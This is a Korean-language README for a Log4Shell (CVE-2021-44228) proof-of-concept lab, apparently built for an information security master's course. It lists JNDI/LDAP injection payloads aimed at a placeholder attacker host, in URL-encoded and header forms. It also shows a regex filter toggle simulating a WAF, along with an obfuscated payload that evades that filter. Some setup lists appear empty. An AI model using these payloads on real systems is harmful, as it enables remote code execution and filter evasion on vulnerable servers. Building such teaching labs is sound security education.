
Log4Shell 취약점(CVE-2021-44228)에 대한 개념 증명으로, FCUP 정보보안 석사 과정의 교과목 TPAS 과제의 일환으로 개발되었습니다.
이 저장소는 FCUP 정보보안 석사 과정의 TPAS 교과목 과제의 일환으로 개발된 Log4Shell 취약점(CVE-2021-44228)에 대한 개념 증명(PoC)을 포함합니다.
다음 기능을 제공합니다:
이 스택을 실행하려면 다음이 필요합니다:
모든 것이 실행되면:
검색창에 다음 페이로드를 입력하세요 (GET 쿼리 파라미터에 포함되므로 URL 인코딩 필요):
%24%7Bjndi%3Aldap%3A%2F%2F<attacker_host_ip>%3A<ldap_port>%2FExploit%7D
또는 요청 헤더에 다음 페이로드를 넣으세요 (burp suite를 사용하여 요청을 가로채고 변조 가능):
${jndi:ldap://<attacker_host_ip>:<ldap_port>/Exploit}
웹사이트에서 사용자 이름 옆에 아이콘이 있으며, 이를 클릭하면 로그 문자열을 정규 표현식 \$\{jndi:.*?}을 사용하여 살균(sanitize)할지 여부를 전환할 수 있습니다. 기본적으로 살균은 비활성화되어 있으며, 빨간 악마 아이콘으로 표시됩니다. 살균이 활성화되면 아이콘이 녹색 웃는 얼굴로 변경됩니다.
이 기능은 WAF 우회를 시뮬레이션하는 방법으로 사용할 수 있으며, 백엔드의 LoggerManager.java 클래스에 더 많은 정규 표현식을 추가할 수 있습니다.
현재 정규 표현식과 일치하지 않는 페이로드는 다음과 같습니다:
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://<attacker_host_ip>:<ldap_port>/Exploit}